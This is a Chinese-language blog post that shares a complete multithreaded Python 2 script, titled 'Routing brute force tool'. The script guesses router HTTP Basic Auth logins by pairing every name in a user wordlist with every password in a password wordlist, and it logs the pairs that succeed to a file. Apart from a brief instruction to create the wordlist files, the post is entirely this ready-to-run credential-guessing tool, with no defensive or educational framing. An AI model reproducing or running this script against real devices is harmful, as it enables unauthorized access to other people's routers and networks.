当前位置 博文首页 > python实现多线程暴力破解登陆路由器功能代码分享

    python实现多线程暴力破解登陆路由器功能代码分享

    作者:admin 时间:2021-07-18 18:53

    运行时请在其目录下添加user.txt passwd.txt两文件。否则会报错。程序没有加异常处理。代码比较挫.....

    复制代码 代码如下:

    #coding:utf-8-
    import base64
    import urllib2
    import Queue
    import threading,re,sys
    queue = Queue.Queue()
    class Rout_thread(threading.Thread):

      def __init__(self,queue,passwd):

        threading.Thread.__init__(self)
        self.queue=queue
        self.passwordlist=passwd
      def run(self):
        self.user=queue.get()
        for self.passwd in self.passwordlist:
          request = urllib2.Request("http://"+target)
          psw_base64 = "Basic " + base64.b64encode(self.user + ":" + self.passwd)
          request.add_header('Authorization', psw_base64)
          try:
            
            response = urllib2.urlopen(request)
            print "[+]Correct! Username: %s, password: %s" % (self.user,self.passwd)
            fp3 = open('log.txt','a')
            fp3.write(self.user+'||'+self.passwd+'\r\n')
            fp3.close()
          except urllib2.HTTPError:
            print "[-]password:%s Error!" % (self.passwd)

     

    if __name__ == '__main__':
      print '''
        #######################################################
        #                                                     #
        #                Routing brute force tool             #
        #                                                     #
        #                 by:well                             #
        #                                                    #
        #######################################################
    '''
      passwordlist = []
      line = 20
      threads = []
      global target
      target = raw_input("input ip:")
      fp =open("user.txt")
      fp2=open("passwd.txt")
      for user in fp.readlines():
        queue.put(user.split('\n')[0])
      for passwd in fp2.readlines():
        passwordlist.append(passwd.split('\n')[0])
        #print passwordlist
          
      fp.close()
      fp2.close()
      for i in range(line):
        a = Rout_thread(queue,passwordlist)
        a.start()
        threads.append(a)
      for j in threads:
        j.join()

    jsjbwy
    下一篇:没有了